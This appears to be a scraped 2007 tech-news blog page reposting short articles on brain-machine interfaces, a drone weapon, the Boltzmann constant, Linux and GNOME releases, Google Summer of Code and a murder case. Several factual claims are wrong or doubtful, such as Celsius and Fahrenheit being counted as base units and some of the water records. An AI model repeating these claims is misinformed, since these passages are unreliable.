Gary writes with a link to a Wired article about a brain-machine interface that may eventually have practical purposes. Though right now it simply allows a user to move a train on a track by performing math in their head, someday it may result in more serious applications. "Honda, whose interface monitors the brain with an MRI machine like those used in hospitals, is keen to apply the interface to intelligent, next-generation automobiles. The technology could one day replace remote controls and keyboards and perhaps help disabled people operate electric wheelchairs, beds or artificial limbs. Initial uses would be helping people with paralyzing diseases communicate even after they have lost all control of their muscles. Since 2005, Hitachi has sold a device based on optical topography that monitors brain activity in paralyzed patients so they can answer simple questions - for example, by doing mental calculations to indicate 'yes' or thinking of nothing in particular to indicate 'no.'"

Hitachi: Move the Train With Your Brain

By HIROKO TABUCHI
Associated Press Writer

AP Photo/Shizuo Kambayashi

Technology Video

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HATOYAMA, Japan (AP) -- Forget the clicker: A new technology in Japan could let you control electronic devices without lifting a finger simply by reading brain activity.

The "brain-machine interface" developed by Hitachi Inc. analyzes slight changes in the brain's blood flow and translates brain motion into electric signals.

A cap connects by optical fibers to a mapping device, which links, in turn, to a toy train set via a control computer and motor during one recent demonstration at Hitachi's Advanced Research Laboratory in Hatoyama, just outside Tokyo.

"Take a deep breath and relax," said Kei Utsugi, a researcher, while demonstrating the device on Wednesday.

At his prompting, a reporter did simple calculations in her head, and the train sprang forward - apparently indicating activity in the brain's frontal cortex, which handles problem solving.

Activating that region of the brain - by doing sums or singing a song - is what makes the train run, according to Utsugi. When one stops the calculations, the train stops, too.

Underlying Hitachi's brain-machine interface is a technology called optical topography, which sends a small amount of infrared light through the brain's surface to map out changes in blood flow.

Although brain-machine interface technology has traditionally focused on medical uses, makers like Hitachi and Japanese automaker Honda Motor Co. have been racing to refine the technology for commercial application.

Hitachi's scientists are set to develop a brain TV remote controller letting users turn a TV on and off or switch channels by only thinking.

Honda, whose interface monitors the brain with an MRI machine like those used in hospitals, is keen to apply the interface to intelligent, next-generation automobiles.

The technology could one day replace remote controls and keyboards and perhaps help disabled people operate electric wheelchairs, beds or artificial limbs.

Initial uses would be helping people with paralyzing diseases communicate even after they have lost all control of their muscles.

Since 2005, Hitachi has sold a device based on optical topography that monitors brain activity in paralyzed patients so they can answer simple questions - for example, by doing mental calculations to indicate "yes" or thinking of nothing in particular to indicate "no."

"We are thinking of various kinds of applications," project leader Hideaki Koizumi said. "Locked-in patients can speak to other people by using this kind of brain machine interface."

A key advantage to Hitachi's technology is that sensors don't have to physically enter the brain. Earlier technologies developed by U.S. companies like Neural Signals Inc. required implanting a chip under the skull.

Still, major stumbling blocks remain.

Size is one issue, though Hitachi has developed a prototype compact headband and mapping machine that together weigh only about two pounds.

Another would be to tweak the interface to more accurately pick up on the correct signals while ignoring background brain activity.

Any brain-machine interface device for widespread use would be "a little further down the road," Koizumi said.

He added, however, that the technology is entertaining in itself and could easily be applied to toys.

"It's really fun to move a model train just by thinking," he said.

How to Dominate The Sky in Future Warfare

2007-06-23T01:24:00.000+07:00

The Dominator, the future terror of the sky

By: Lucian Dorneanu, Science Editor

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The future of air combat will make the classical dogfight obsolete. The times of air aces like the Red Baron – the most successful fighter pilot of f World War I, credited with 80 confirmed air combat victories – are gone, and the next flying aces will be unmanned drones, hunting and killing ground enemies while being remote controlled from a safe distance, or even capable of taking decisions on their own.

More and more scientists,

militarists, and governments are investing large amounts of resources in an intriguing, futuristic technology: fleets of small unmanned aerial vehicles (UAVs). The main reason for investing in UAV technology lies in the replacement of the traditional, open battleground with the urban theater of war.

Boeing’s Air Dominator is a 100 lb drone with a 12-foot span which looks like a model aircraft. It will have a special lightweight fuel cell, that could bring its endurance to over 40 hours, and there are plans for a sophisticated new vision system for mid-air refueling to increase endurance even further.

The Dominator drone will carry a payload of three explosive charges, each warhead firing an explosively-formed projectile triggered by a two-color infrared sensor. It won't operate alone, but rather in swarms of tens of drones, along with a few 'gateway' vehicles providing networked communications and refueling.

In the JITSA scheme, Dominators would be packed in pallets of twenty on a C-17 transport plane, with thirty pallets in all – that’s a total of six hundred drones. They will be able to wirelessly communicate with each other, to confirm the destruction of a target, so that ammunition is not wasted two times on the same target.

As a last resort, once the drone had fired all three warheads, it will also be able to make the ultimate sacrifice and plunge kamikaze-style into a target, creating a small blast powerful enough to destroy a terrestrial vehicle.

The manufacturers estimate that any target in the kill zone could be hit within 2-4 minutes maximum. None of those fleeting targets would escape, so this UAV will fully deserve the name of Dominator of tomorrow's sky.

NANO-BIOTECHNOLOGY

2007-06-23T01:16:00.000+07:00

New Laser Technique Could Redefine Absolute Zero and the Kelvin

- A new and improved definition of the Kelvin unit of temperature

By: Lucian Dorneanu, Science Editor

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The kelvin (K) is a unit of temperature, one of the seven base units, along with the Celsius and Fahrenheit degrees. Absolute zero on the Kelvin scale is defined as being equivalent to zero kelvin (0 K). The magnitude of the kelvin unit is precisely 1 part in 273.16 parts the difference between absolute zero and the triple point of water.

Now, a group of French physicists were able to perform the first direct measurement of the Boltzmann constant, using a technique

known as laser spectroscopy, whose accuracy could help in creating a new and improved definition of the kelvin unit of temperature.

The Boltzmann constant (k or kB) is the physical constant relating temperature to energy, in fact a bridge between macroscopic and microscopic physics, relating the kinetic energy of an ensemble of microscopic particles, like gas molecules, to its temperature.

Only one technique can, so far, determine the constant to an accuracy of about 2 parts-per-million (ppm), but the new one – currently less accurate, but easily improvable – could surpass the present degree of accuracy.

This promised accuracy is welcomed by the Paris-based International Committee for Weights and Measures (CIPM), which is planning to redefine the kelvin in 2011 using kB. They want to define the kelvin and other SI units in terms of each other and the fundamental constants; more specifically, they want to define the absolute temperature involving a time unit, the second, which is known to an extremely high degree of accuracy of about one part in 1016.

The new alternative way of measuring kB to ppm accuracy, the laser spectroscopy technique, was developed by Christian Chardonnet and colleagues at Université Paris 13 - Institut Galilée, and is based on the fact that the thermal motion of a molecule – ammonia in Chardonnet’s experiment – smears out peaks in its optical absorption spectrum in a process called thermal broadening.

This phenomenon is determined by kB, but also by the pressure and temperature of the gas and the frequency of the light being absorbed, so one only needs to measure the width of the broadening as a function of pressure at a fixed temperature and frequency, to determine kB to an accuracy of about two parts in ten thousand.

Although not completely reliable yet, the researchers say this applications could be improved to 1 ppm.

Gnome 2.19.1 Released

2007-04-30T23:26:00.000+07:00

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On the road to 2.20.0 Gnome has just reached the 2.19.1 release. What does it bring new compared to 2.18? Well, first of all it brings new documentation and translations (maybe just in case the previous were not enough), new features and new bug-fixes. This is a development release though; so many modules still need improvements. The Gnome developers encourage Linux lovers to compile and test this new release and offer some for download and for some compiling tools. For example for compiling Gnome 2.19.1 you can use Garnome, which can be found here and the release should be found here along with the release notes.

The Gnome 2.19.1 developers announced this release as a snapshot of development code that is mainly intended for testing and hacking purposes. The release is though buildable and usable. You can join the Gnome project too. Any Linux fan willing to help with the Gnome development is more than welcomed here. You do not have to be a programmer to join this project, as there are also a lot of things to be improved that do not require programming knowledge.

The Gnome project aims to create an easy-to-use computing platform out of completely free software. The Gnome project gathers a lot of software and it is used in conjunction with an operating system such as Linux or Solaris. It is also part of the GNU operating system, being its official desktop environment.

Gnome was set-up in August 1997 by the GNU project as an alternative to the KDE software desktop environment that relied on the Qt widget toolkit, which did not use a free software license at that time. Gnome was intended to create a new desktop without making use of the Qt libraries. Thus, instead of Qt Gnome uses GTK+ toolkit under the GNU Lesser Public License (LPGL).

Low-Energy LED Lighting for Streets and Buildings

2007-04-30T22:11:00.000+07:00

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A light-emitting diode (LED) is a semiconductor device that emits incoherent narrow-spectrum light through a form

of electroluminescence. LEDs are small extended sources with extra optics added to the chip, which emit a complex intensity spatial distribution. The color of the emitted light depends on the composition and condition of the semiconducting material used and can be infrared, visible or near-ultraviolet.

The Department of Trade and Industry-led Technology Programme in UK has funded a Â£175,000 ($350,000) grant to researchers at The University of Manchester to develop powerful low-cost LED lighting modules that can be used in buildings and on roads. Dialight Lumidrives - a company founded by a former student - is contributing another Â£175,000 to the scheme.

The main goal is to investigate how tightly packed groups of LEDs can be made to work safely and reliably, and with less energy consumption and lower sosts. LEDs lighting solutions have the potential to reduce energy consumption by between 25 and 50 per cent, depending on the applications.

Illumination applications using LEDs are already being used in advertising panels in the streets and for traffic lights, but their use in street and building lighting has yet to overcome some obstacles.

The technical ones involve thermal and electrical issues at the desired lighting levels (of 12,000 lumens and above, when a typical 60w household light bulb produces about 800 lumens), like the amount of heat generated by LEDs packed closely together.

Since the project aims to develop LED modules to be used outside, environmental factors will also be a concern, such as glare, pollution and even the possibility of a bird nesting over a vital heatsink.

Dr Roger Shuttleworth from the Power Conversion Group at The University of Manchester, said: "LED technology first came to prominence in instrument displays back in the 1970s, but we are increasingly seeing it used in things like traffic signals and car lights. Towards the end of the twentieth century, the old fashioned sodium street lights that made everything look orange were gradually replaced by high-pressure sodium lamps. While these are brighter and more aesthetically pleasing, and can help tackle street crime and anti-social behaviour, they are also less energy efficient. With the environment at the top of the public and political agenda, energy saving has become a very important issue. When you consider how many street lights there are in the UK alone, it's clear there are some big opportunities for energy and cost savings."

The many benefits of LEDs will include cutting energy consumption and overall running costs, reducing light pollution and the glow that radiates from big cities, and their longer lifespan which means they would need to be replaced less often, potentially cutting down on traffic disruption and local council repair bills.

Gold Nanoparticles Used to Detect a Toxic Metal - Mercury

2007-04-30T21:58:00.000+07:00

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Throughout history, mercury has widely been used by alchemists that were trying to produce gold. Now, the roles have changed, and gold is what helps scientists find mercury.

In

the litmus test, litmus is a water-soluble mixture of different dyes extracted from certain lichens, especially Roccella tinctoria, often absorbed on to filter paper. The resulting piece of paper or solution with water becomes a pH indicator (one of the oldest), used to test materials for acidity. Blue litmus paper turns red under acidic conditions and red litmus paper turns blue under basic (alkaline) conditions, the color change occurring over the pH range 4.5-8.3 (at 25 degrees Celsius). Neutral litmus paper is purple in color.

Scientists at Northwestern University have recently developed a simple "litmus test" for mercury that could be used for environmental monitoring of bodies of water, such as rivers, streams, lakes and oceans, to evaluate their safety as food and drinking water sources.

The colorimetric screening technology and its success in detecting mercury rely on using gold nanoparticles and DNA.

Produced directly and indirectly as part of several industrial processes such as the manufacture of acetaldehyde, methyl mercury is a neurotoxin that is particularly dangerous to young children and pregnant women and the form of mercury people ingest when they eat contaminated fish and shellfish.

Mercury is released into the air through industrial pollution, falling into bodies of water and polluting the waters in which fish and shellfish live. Bacteria in the aquatic environment then convert water-soluble mercuric ion (Hg2+) into methyl mercury, which accumulates in varying amounts in fish and shellfish.

Chad A. Mirkin, George B. Rathmann Professor of Chemistry, Professor of Medicine and Professor of Materials Science and Engineering, who led the study, said that "It is critical to detect mercury quickly, accurately and at its source. Most existing detection methods require expensive complicated equipment forcing tests to take place in a lab. Our method is simpler, faster and more convenient than conventional methods, and results can be read with the naked eye at the point of use."

Being highly sensitive, they are capable of detecting mercuric ions at the 100 nanomolar level. "To the best of my knowledge, we have set a record for the most sensitive colorimetric sensor," said Mirkin. "A glucose meter, for example, operates at a high micromolar scale, with glucose being 100,000 times more concentrated than the mercury we are detecting."

Future applications using similar principles will include developing a colorimetric screening method for cadmium and lead.

Geographic Records of the Water

2007-04-30T21:56:00.000+07:00

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Water is the blood of planet Earth and its circuit maintains it alive.

And this cycle implies rivers, lakes, seas and oceans.

Here are some of their records.

The largest running water

in the world is the Amazon river. Each second, this enormous river disgorges 150,000 cubic meters of water into the Atlantic Ocean (3,120 cubic km annually).

Amazon is also the longest river in the world (4,195 mi or 6,750 km), 50 mi (80 km) longer than the Nile, and it also has the largest river basin in the world: 7,050,000 square km (2/3 of Europe or double of the sum for Mississippi and Nile).

The second river is Congo and the third by debit is Ganges.

The largest river delta in the world is that formed by the Ganges and Brahmaputra (Bangladesh and northeastern India): 7,800,000 hectares.

The longest river estuary is that of Obi (Siberia): 450 mi (720 km).

The largest lake in the world is the Caspian Sea: 424,800 square km and 975 m maximum depth.

The deepest lake in the world is Baikal (Siberia): 1,620 m. It has 23,000 cubic km of water, and harbors 1,200 animal species and 700 plant species.

The largest gulf in the world is the Gulf of Mexico: 615,000 square mi (1.6 million square km).

The shortest known river is D.River, in Oregon, that enters into the Pacific after just 132 m (440 ft).

The highest waterfall in the world is the Angel Falls (Venezuela): 979 m (3,212 ft) tall.

The biggest geyser in the world is “Old Faithful” from Yellowstone National Park (Wyomong, US): its water column is 30-54 m (100-180 ft) tall and erupts from 21 to 65 minutes.

The saltiest ocean is the Atlantic: 3.5 % salts, and amongst the seas, the record is detained by the Red Sea : 4 %.

The warmest seawater is that of the Persian Gulf: 35 degrees C, followed by the Red Sea: 32 degrees C.

The coldest seawater is that of the Ross and Weddell seas (Antarctica).

The strongest marine current is the Gulf Stream: it carries 82 million cubic meters of water per second.

The widest strait is the Yucatan Channel between Yucatan peninsula (Mexico) and Cuba: 220 km (360 mi).

It is also the deepest: 2,000 m (6,660 ft).

The longest strait is the Straits of Malacca, between Sumatra Island and Malacca peninsula: 805 km (500 mi) long.

The narrowest intercontinental strait is Bosporus (between Europe and Asia): 700-750 m wide (0.5 mi) and 80 km (50 mi) long.

The narrowest navigable strait in the world is Khalkis (Aegean Sea), between the Balkan peninsula and Eubea island: 40 m (133 ft).

The largest fjord in the world is Northwestern, located in ...eastern Greenland: 313 km (195 mi) long.

Geographic Records of the Water

2007-04-30T21:27:00.000+07:00

Tiny Machines Made of Microbes

2007-04-30T21:24:00.000+07:00

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Biomimetics employs organisms as models for building new machines.

But now new machines could be made of organisms. In fact, tiny machines from microorganisms.

The single-celled Spirostomum, a Paramecium-related protozoan, resembling a tiny brown worm, can contract its 0.5 mm-long body to 25% of its length

in a millisecond: this is the fastest known movement in a microorganism.

Many microorganisms are integrated in MEMS (Microelectromechanical Systems) technology, the so-called “biotic-MEMS,” developing micron-level machines.

A team of University of Washington has realized a catalogue of the most promising microorganisms (all less than 1 mm long and made of one or few cells) for MEMS systems, and which can boost the conventional MEMS technology. “Tools and concepts have been increasingly borrowed from biology to solve technology problems. Biological concepts such as self-assembly are under serious consideration by technologists now for making highly integrated nano and micro systems”, said co-author Babak Parviz, an electrical engineer.

The microorganisms were assigned into four employment fields: material synthesis, precise structure formation, as functional devices, and integrated into controllable systems. Through biomineralization, a process detected in 700 million years old rocks, microorganisms can produce at least 64 different inorganic materials employed in MEMS technology, like silicon dioxide, biogenic calcite, magnets, gold and silver crystals.

Magnetic bacteria produce magnetosome crystals, crucial for the heading of their water movements.

Unlike industrial MEMS synthesis methods, requiring high temperatures, corrosive gases, vacuums and plasma, microorganisms produce the materials at room temperature, at near-neutral pH, in water solutions.

These structures made by microbes can develop into three dimensions and can be changed with nanoscale or macroscopic (visible scale) precision.

The spicules in the skeleton walls of one deep-sea sponge have excellent fiber-optical properties.

The fields of the chemical and biological sensors (for food and environmental monitoring) could employ microorganisms, as they evolved to detect specific chemicals. “One of the most interesting applications of MOs [microorganisms] in MEMS is to directly use them for detecting chemicals. MOs can be genetically engineered to have various receptors. All the transduction and amplification machinery is already in MOs. I think integration of these MOs into MEMS platforms can generate extremely powerful chemical/biological analysis systems”, said Parviz.

There are microbes that turn chemical energy into electrical energy, like the environmentally-friendly Microbial Fuel Cells for powering robotics and biomedical devices, and for economic hydrogen production, replacing small conventional batteries.

The biggest challenge by now is to integrate these devices into controllable micron-scale systems. “Our ability to manipulate small organisms and produce platforms that can interface with them one cell at a time is brand new. It is yet to be seen how researchers will take advantage of these new capabilities”, Parviz added.

Linux Kernel 2.6.21 Released

2007-04-30T20:07:00.000+07:00

Enlarge picture

After two and a half months from the last release, Linus Torvalds has just announced today the final and stable release of the Linux kernel, version 2.6.21. The biggest change in 2.6.21 is all the timer changes to support a tickless system:

"If the goal for 2.6.20 was to be a stable release (and it was), the goal for 2.6.21 is to have just survived the big timer-related changes and some of the other surprises (just as an example: we were apparently unlucky enough to hit what looks like a previously unknown hardware errata in one of the ethernet drivers that got updated etc). [...] So the big change during 2.6.21 is all the timer changes to support a tickless system (and even with ticks, more varied time sources). Thanks (when it no longer broke for lots of people ;) go to Thomas Gleixner and Ingo Molnar and a cadre of testers and coders." - says Linus Torvalds.

Highlights of this release include:

• VMI (Virtual Machine Interface)
• KVM updates
• Dynticks and Clockevents
• ALSA System on Chip (ASoC) layer
• Dynamic kernel command-line
• Optional ZONE_DMA
• devres (optional subsystem for drivers)
• GPIO API

Here come the new drivers:

Graphics:

• Add fbdev driver for the old S3 Trio/Virge
• Driver for the Silicon Motion SM501 multifunction device framebuffer subsystem,

Storage devices:

• Add two drivers for the it8213 IDE device, one using the old IDE stack, and other using libata
• Add IDE Driver for Delkin/Lexar/etc.. cardbus CF adapter
• Add IDE driver for Toshiba TC86C001 (old IDE stack)
• Add SCSI driver for SNI RM 53c710
• Add driver for Initio 162x SATA devices

Networking devices

• Add driver for the latest 1G/10G Chelsio adapter, T3,
• Add driver for the Attansic L1 ethernet device
• Add driver for the Gigaset M101 wireless ISDN device
• Add PC300too alternative WAN driver
• Add driver for Silan SC92031 device
• Add driver for the Davicom DM9601 USB 1.1 ethernet device

Various

• Add driver to charge USB blackberry devices
• Add driver for iowarrior USB devices.
• Add support for the GTCO CalComp/InterWrite USB tablet
• New driver for the Analog Devices ADM1029 hardware monitoring driver

For a full change-log with all the new features, drivers and improvements, please visit this website.

The Linux Kernel is the essential part of all Linux Distributions, responsible for resource allocation, low-level hardware interfaces, security, simple communications, and basic file system management.

Linux is a clone of the operating system Unix, initially written from scratch by Linus Torvalds with assistance from a loosely-knit team of hackers across the Net. It aims towards POSIX and Single UNIX Specification compliance.

You can download the Linux kernel now from Softpedia.

Intel Wi-Fi Travels Over 100 Kilometers

2007-03-28T09:43:00.000+07:00

Enlarge picture

What is the biggest problem when it comes to Wi-Fi connections? The distance; that's why new standards have been created – to allow for the transmission of information on longer distances, and also a higher data

transfer is made possible. The nag of having to deal with cables is also a big thing you should consider, many people actually choose the wireless solution for this reason alone.

And newer chips cost more, and manufacturing facilities give a lot of new jobs and that's progress, but what if, instead of always taking a piece of hardware apart and call it “obsolete”, why not putting some thought into what can be done with existing hardware, rather than just bringing out new stuff, that doesn't always bring something good.

Take, as an example, the AGP slot and the PCI Express, it was first said that the PCI Express interface was necessary because of the bottlenecking of the data going through the 8GB/s AGP interface. That wasn't 100% true when it was said, but nobody took it upon themselves to actually verify the truth in that affirmation. That other purposes have been found for the interface, or better said, that the change was made using the bandwidth as the cover story. It's hard to give up on something good for that which is just as good, but in order for the people to accept the change, it was presented as a mandatory requirement for the maximum bandwidth to be achieved. The people said “yes”, and then they had the chance of actually putting their ideas into action.

Regarding the Wi-Fi, it's the same thing, but under a different “mask”. Eric Brewer, Director of Intel Research Berkeley, was able to bring a new point of view to an “old” piece of hardware, by using “regular Wi-Fi hardware (...) with modified software”. The goal was to take the normal Wi-Fi transmission, which is sent by an antenna on a 360-degree radius, and focusing the signal into one direction. By using this method, they stated that their system can take regular Wi-Fi signal and transmit it to over 100 kilometers.

The alignment of the antennas so that they would communicate to one another is hard to achieve on a physical level, because any small shift in the position would cause signal loss. The solution was to make an “electrical steering”, instead of normal position shifting, thus eliminating any signal loss in case the antennas move out of alignment.

My Personal Earthquake

2007-03-28T09:13:00.000+07:00

Enlarge picture

Have you ever wanted to have your own earthquake? I guess not. But I am sure that at least on one occasion you wanted your room either bigger or

to have your sound system's loudspeakers placed somewhere else while still be able to enjoy your favorite music.

Now, as I presume you figured it out, you're not the only ones who have faced the insufficient room problem; other people thought about this as well and the big difference is that they had both the mind and resources to make things different. PSB is their name and they are currently solving your biggest problem: placing the sometimes inconveniently-large subwoofer away from your path and your sight but not away from your hearing range.

PSB's in-wall mountable CWS10 subwoofers promise to have the problems above solved in no time, right from the start. Basically, there were some point to be checked in the development of such gear. First of all, designing a shape for the box, which they did in marvelous style, creating a 4-inch deep bass box so you don't need to ruin the house while installing the speakers.

Secondly, since we're speaking about woofers, there's bass: bass means low frequencies and this requires special speakers with special cones to move a lot of air - they also need special architecture. PSB managed to create an anechoic box for the CWS10 both allowing air to flow as it is supposed to when talk comes to bass.

Two 4 Ohms, 10” woofers with a much lower profile than the regular ones (hence the 4” overall depth) will pump out bass coming from a 50 to 300W amp so they'll literally shake your walls if need be. Neodymium magnets ensure the smooth yet strong and reliable operation at the nominal 89dB SPL.

The CWS10 is mountable on any wall, even from construction stage or after the building has been finished. The in-wall woofer is affixed with an extruded aluminum flange and “dog leg” clamps and its perforated metal grille can be painted to match any interior design.

Finally, the third construction issue was not carried out as brilliantly as the others have been: the price is one dollar short of $2,500 and this makes these woofers a rather expensive alternative to the fuss of having to deal with wires, dusting and/or re-arranging loudspeakers in your living room.

Summer of Code Student Applications Now Open

2007-03-16T04:20:00.000+07:00

The accepted Google Summer of Code 2007 mentors list is now complete at the Summer of Code website — 131 projects could use your help. Student applications are open and the end date is March 24. Google has an application guide in the Summer of Code Announce discussion group that provides more information on the application process.

Google Summer of Code™

Google Summer of Code 2007 is on! We are now accepting student applications. We've also published some additional web app documentation for mentors and organization administrators.

All the information for participants in Google Summer of Code 2007, including student abstracts and other information provided by them, is available by visiting the individual mentoring organization pages below.

Mentoring Organizations Participating in Google Summer of Code 2007

AbiSource (ideas)

Adium (ideas)

Aqsis Team (ideas)

Ardour (ideas)

ArgoUML (ideas)

Audacious Media Player (ideas)

Bazaar (ideas)

BBC Research (ideas)

Beagle (ideas)

Blender Foundation (ideas)

Boost C++ (ideas)

BZFlag (ideas)

Casetta (ideas)

Center for the Study of Complex Systems (CSCS), University of Michigan (ideas)

CLAM ( at the Universitat Pompeu Fabra) (ideas)

Computer Professionals for Social Responsibility (ideas)

Coppermine Photo Gallery (ideas)

coresystems GmbH (ideas)

Creative Commons (ideas)

Crystal Space (ideas)

Debian (ideas)

Detached Solutions (ideas)

Dojo Foundation (ideas)

Drupal (ideas)

DSpace (ideas)

Eclipse (ideas)

Etherboot Project (ideas)

eXist (ideas)

FANN - The Fast Artificial Neural Network Library (ideas)

FFmpeg (ideas)

Fityk (ideas)

FreeBSD (ideas)

Freenet Project Inc (ideas)

Freevo (ideas)

Gaim (ideas)

Gallery (ideas)

GCC (ideas)

Geeklog (ideas)

GenMAPP (ideas)

Gentoo Foundation (ideas)

Git Development Community (ideas)

GNOME (ideas)

GNU Project (ideas)

GnuCash (ideas)

GNUstep (ideas)

Haiku (ideas)

Handhelds.org (ideas)

Haskell.org (ideas)

hugin / panotools (ideas)

IEM - Institute of Electronic Music and Acoustics, Graz (ideas)

ikiwiki (ideas)

Inkscape (ideas)

Internet2 (ideas)

Jikes RVM (ideas)

Joomla! (ideas)

K-3D (ideas)

KDE (ideas)

Lanka Software Foundation (ideas)

Liblime (ideas)

LispNYC.org (ideas)

LLVM Compiler Infrastructure (ideas)

MacPorts (ideas)

maemo (ideas)

MetaBrainz Foundation (ideas)

Mixxx (ideas)

MoinMoin Wiki Project (ideas)

We are no longer accepting applications from open source organizations.

If you're feeling nostalgic, you can still access the Google Summer of Code 2005 and Google Summer of Code 2006 pages. We've also created a map (requires Google Earth) of all 2006 mentors and student participants for your perusal.

Questions?

Please peruse our FAQ and Terms of Service for more information about the program. If you still have questions, email us for support.

Guide to the Google Summer of Code^TM Web App for Student Applicants

This document is a work-in-progress. Additional information on how to use the application will be added as Google's program administrators receive questions via either our program discussion list or to our support alias.

Using the Web App to Register for GSoC

These are the steps for registering as a student participant for Google Summer of Code:

Start registration by reviewing and accepting our program Terms of Service.

Once you have accepted the Terms of Service, you should automatically be redirected to the student dashboard.

Click on the "My Profile" link in the left hand navigation menu. Please update your personal information.

Notes on the Student Profile Page

Name

Please list your name as you would like it to appear on your program certificate.

Citizenship

We are required to ask for this information. Please see the FAQ entry in student ineligibility for more details.

Shipping Address

Please be very, very careful when filling out this section and provide as much detail as possible. While we're successfully cutting down on the number of problem shipments of t-shirts, etc., we rely on you to provide us with accurate address information. If you have any questions, we suggest you call your local FedEx office and see if they would be able to ship to your address as you have listed it in the web app.

It is very important that you provide a phone number where you can be reached consistenly, as all shipping companies ask for a phone number so they can follow up when there are issues with delivery. If you have a mobile number, please provide it here. It is also very important to include your country code, as a problem with your shipment may occur in a country outside of your own and the shipping company will need the country code information in order to reach you.

School

Please include the full name of your school as it would appear in any official document sent from the administrative staff.

Please include the URL to your school as a whole, not to a particular department.

Your major is your primary field of study at school. If you have not chosen a primary field of study at this time, write in N/A for "not applicable."

The "Degree to be Completed" section may have some choices that you do not recognize. Here's a basic overview:
1. Undergrad: select this option if you are working towards your first degree
2. Masters: select this option if you are working towards a second degree at the graduate level
3. PHD: select this option if you are working towards a Doctorate degree of any kind

If you have not yet begun attending college or university, make your best estimate of the date you will be graduating.

Optional

While all of the information in this section is optional, we'd be totally stoked if you'd provide it, especially since we're planning a Google Summer of Code blog planet this year! By selecting please publish my location, you agree to let us include your coordinates in our yearly GSoC map. (Map file requires Google Earth.)

The Student Dashboard

Once you've updated your profile, you should be redirected to the Student Dashboard. You can also visit this page directly once you have filled out your personal profile.

Your Student Dashboard is a running list of all applications you have submitted. It's also your starting point to submit new applications.

The "Last Modified" column will display the date that your application was submitted. If this information changes, it means that a mentor has posted a public comment, meaning a request to you for to add additional information to the application.

The "Status" column will let you know when mentors have begun reviewing your application.

Submitting an Application

To submit an application, click on the "Add a new application" link in your Student Dashboard . (The "Add a new application" link will also automatically update so you always know how many applications you have left to submit. The maximum number of applications any student can submit is 20.)

You will then be redirected to the application page.

Title/Summary: Make this a very terse description of your application, e.g. "Garbage collection tuning for GCC."

Organization: Select the organization to which you'd like to apply from the drop down list. If the organization has provided us with an application template, it should propagate into the "Detailed Description" section once you've selected the organization.

Abstract: A shorter summary of your overall application to be linked from the GSoC Program Page. View an example.

Detailed Description: Enter the text of your application here. Text only, 7500 characters maximum.

Link to Further Information: You can only provide a single link in this field. If you wish to provide more than one link, include additional links in the "Detailed Description" section.

Once you've clicked the "Submit" button, your application will appear in the selected organization's application review queue.

Comments on Your Application

Mentors may post a comment to your application asking for more information. You will receive an email requesting that you log into the GSoC web app and review the comments. You will be able to view the comments by selecting the correct application from the list in your Student Dashboard. The application title will be a link to the frozen application text and the comments provided by the mentor(s) reviewing the application.

Start-Up Fervor Shifts to Energy in Silicon Valley

2007-03-16T04:18:00.000+07:00

J. Emilio Flores for The New York Times

Andrew Beebe is the president of Energy Innovations, which makes low-cost solar panels.

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By MATT RICHTEL

Published: March 14, 2007

SAN FRANCISCO, March 13 — Silicon Valley’s dot-com era may be giving way to the watt-com era.

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Articles examine the ways in which the world is, and is not, moving toward a more energy efficient future.

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Out of the ashes of the Internet bust, many technology veterans have regrouped and found a new mission in alternative energy: developing wind power, solar panels, ethanol plants and hydrogen-powered cars.

It is no secret that venture capitalists have begun pouring billions into energy-related start-ups with names like SunPower, Nanosolar and Lilliputian Systems.

But that interest is now spilling over to many others in Silicon Valley — lawyers, accountants, recruiters and publicists, all developing energy-oriented practices to cater to the cause.

The best and the brightest from leading business schools are pelting energy start-ups with résumés. And, of course, there are entrepreneurs from all backgrounds — but especially former dot-commers — who express a sense of wonder and purpose at the thought of transforming the $1 trillion domestic energy market while saving the planet.

“It’s like 1996,” said Andrew Beebe, one of the remade Internet entrepreneurs. In the boom, he ran Bigstep.com, which helped small businesses sell online. Today, he is president of Energy Innovations, which makes low-cost solar panels. “The Valley has found a new hot spot.”

Mr. Beebe said the Valley’s potential to generate change was vast. But he cautioned that a frenzy was mounting, the kind that could lead to overinvestment and poorly thought-out plans.

“We’ve started to see some of the bad side of the bubble activity starting to brew,” Mr. Beebe said.

The energy boomlet is part of a broader rebound that is benefiting all kinds of start-ups, including plenty that are focused on the Web. But for many in Silicon Valley, high tech has given way to “clean tech,” the shorthand term for innovations that are energy-efficient and environmentally friendly. Less fashionable is “green,” a word that suggests a greater interest in the environment than in profit.

The similarities to past booms are obvious, but the Valley has always run in cycles. It is a kind of renewable gold rush, a wealth- and technology-creating principle that is always looking for something around which to organize.

In this case, the energy sector is not so distant from other Silicon Valley specialties as it might appear, say those involved in the new wave of start-ups. The same silicon used to make computer chips converts sunlight into electricity on solar panels, while the bioscience used to make new drugs can be employed to develop better ethanol processing.

More broadly, the participants here say their whole approach to building new companies and industries is easily transferable to the energy world. But some wonder whether this is just an echo of the excessive optimism of the Internet boom. And even those most involved in the trend say the size of the market opportunity in energy is matched by immense hurdles.

Starting a clean technology firm is “not like starting an online do-it-yourself legal company,” said Dan Whaley, chief executive of Climos, a San Francisco company that is developing organic processes to remove carbon from the atmosphere. “Scientific credibility is the primary currency that drives the thing I’m working on.”

Just what that thing is, he would not specify. For competitive reasons, Mr. Whaley declined to get into details about his company’s technology. His advisory board includes prominent scientists, among them his mother, Margaret Leinen, the head of geosciences for the National Science Foundation.

In the last Silicon Valley cycle, Mr. Whaley’s help came from his father. In 1994, he did some of the early work from his father’s living room on GetThere.com, a travel site. It went public in 1999 and was bought by Sabre for $750 million in 2000.

This time around, entrepreneurs say they are not expecting such quick returns. In the Internet boom, the mantra was to change the world and get rich quick. This time, given the size and scope of the energy market, the idea is to change the world and get even richer — but somewhat more slowly.

Those drawn to the alternative-energy industry say that they need time to understand the energy technology, and to turn ideas into solid companies. After all, in contrast to the Internet boom, this time the companies will need actual manufactured products and customers.

“There are real business models and real products to be sold — established markets and growing economics,” said George Basile, who has a doctorate in biophysics from the University of California, Berkeley and specializes in energy issues.

Cop: Wife googled 'How to commit murder'

2007-03-16T04:06:00.001+07:00

BY RICK MALWITZ
STAFF WRITER
Tuesday, March 13, 2007

At exactly 5:45:34 on April 18, 2004 a computer taken from the office of the attorney of Melanie McGuire, did a search on the words "How To Commit Murder."That same day searches on Google and MSN search engines, were conducted on such topics as `instant poisons,` `undetectable poisons,' 'fatal digoxin doses,' and gun laws in New Jersey and Pennsylvania.

Ten days later, according to allegations by the state of New Jersey, McGuire murdered her husband, William T. McGuire, at their Woodbridge apartment, using a gun obtained in Pennsylvania, one day after obtaining a prescription for a sedative known as the "date rape" drug.

